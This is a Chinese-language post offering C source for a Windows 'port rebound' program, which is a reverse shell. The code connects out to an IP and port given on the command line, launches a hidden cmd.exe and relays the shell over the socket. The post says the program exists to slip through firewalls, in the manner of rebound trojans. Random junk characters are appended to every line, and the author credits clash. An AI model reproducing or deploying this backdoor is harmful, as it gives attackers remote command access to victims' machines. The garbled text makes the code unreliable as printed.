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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }FHw" {my  
9=H}yiJz  
/* ============================== r+SEw ;  
Rebound port in Windows NT 'n>EEQyp'  
By wind,2006/7 `D4oAx d9  
===============================*/ Ck:#1-t8{  
#include OuMco+C  
#include >7"$}5d  
c{^i$  
#pragma comment(lib,"wsock32.lib") IPwj_jvw  
ZK%Kgk[\:~  
void OutputShell(); QCVsVG!sN  
SOCKET sClient; ,I/2.Q})[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v/]Qq  
l t&$8jh  
void main(int argc,char **argv) .@fK;/OuC  
{ Nvi Fq  
WSADATA stWsaData; kboizJp  
int nRet; <>SR4  
SOCKADDR_IN stSaiClient,stSaiServer; Zlr{L]c  
xq#U 4E  
if(argc != 3) <'yf|N!9G  
{ nMTLD  
printf("Useage:\n\rRebound DestIP DestPort\n"); \FIa,5k8  
return; 8e]z6:}'E  
} 0Z@ARMCe|m  
Czq1 kz  
WSAStartup(MAKEWORD(2,2),&stWsaData); xX[?L9RGz  
U? {'n#n 5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F\o;t:  
MV% :ES?  
stSaiClient.sin_family = AF_INET; M ' a&  
stSaiClient.sin_port = htons(0); '2 w XV;`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,}eRnl\  
Y;'VosTD  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F_ ,L 2J  
{ (Nm}3p  
printf("Bind Socket Failed!\n"); t|go5DXz4  
return; tniPEmeS  
} 8f /T!5  
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stSaiServer.sin_family = AF_INET; dDsjPM;2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mrK,Ql  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i7i|370  
}pbBo2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /'R UA  
{ DZ%g^DRZX  
printf("Connect Error!"); nYI/&B{p  
return; b24NL'jm  
} .jvSAV5B  
OutputShell(); b*btkaVue  
} 2N L:\%wz  
Cf.pTYSl  
void OutputShell() NvQY7C  
{ |WD,\=J2  
char szBuff[1024]; #citwMW  
SECURITY_ATTRIBUTES stSecurityAttributes; l,imT$u  
OSVERSIONINFO stOsversionInfo; (eC F>Wh^m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9 Q0#We*  
STARTUPINFO stStartupInfo; _F}IF9{?G  
char *szShell; S4#A#a2J  
PROCESS_INFORMATION stProcessInformation; N>uA|<b,  
unsigned long lBytesRead; S^3g]5YX  
l9M#]*{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f28gE7Y\a  
zAKq7'_=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /Ki0+(4  
stSecurityAttributes.lpSecurityDescriptor = 0; @ChN_gd3!  
stSecurityAttributes.bInheritHandle = TRUE; mXxZM;P[  
@4G.(zW  
r24\DvS  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZcUh[5:|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =fKhXd  
Hv[d<ylO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7V9%)%=h|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nu\  
stStartupInfo.wShowWindow = SW_HIDE; w JapGc!   
stStartupInfo.hStdInput = hReadPipe; O\|C,Ep m  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XV74F l  
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GetVersionEx(&stOsversionInfo); G;PbTsW  
{{^Mr)]5K  
switch(stOsversionInfo.dwPlatformId) Ma`   
{ aHBByH  
case 1: mp&Le YYn  
szShell = "command.com"; K $Mx}m7l  
break; 3Eb nZb  
default: c7FfI"7HR  
szShell = "cmd.exe"; #Pb7EL#c  
break; DBj;P|L_  
} _4~ng#M*  
gp#bQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LU-#=1Q  
k7z(Gbzu   
send(sClient,szMsg,77,0); . 1{vpX  
while(1) }Q{ =:X9  
{ N:UDbLjw~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fl pXVtsQ  
if(lBytesRead) b9W<1eqF  
{ "ay,Lr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e.3sAUHZ-  
send(sClient,szBuff,lBytesRead,0); 5~`|)~FA  
} ~)! V8  
else $Nt=gSWw5  
{ #Qtg\X  
lBytesRead=recv(sClient,szBuff,1024,0); +Op%,,Db  
if(lBytesRead<=0) break; >)AE |j`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vSyi}5D  
} NPB,q& Th  
} 8I5VrT  
"6`)vgI~  
return; wu&|~@_s@  
}
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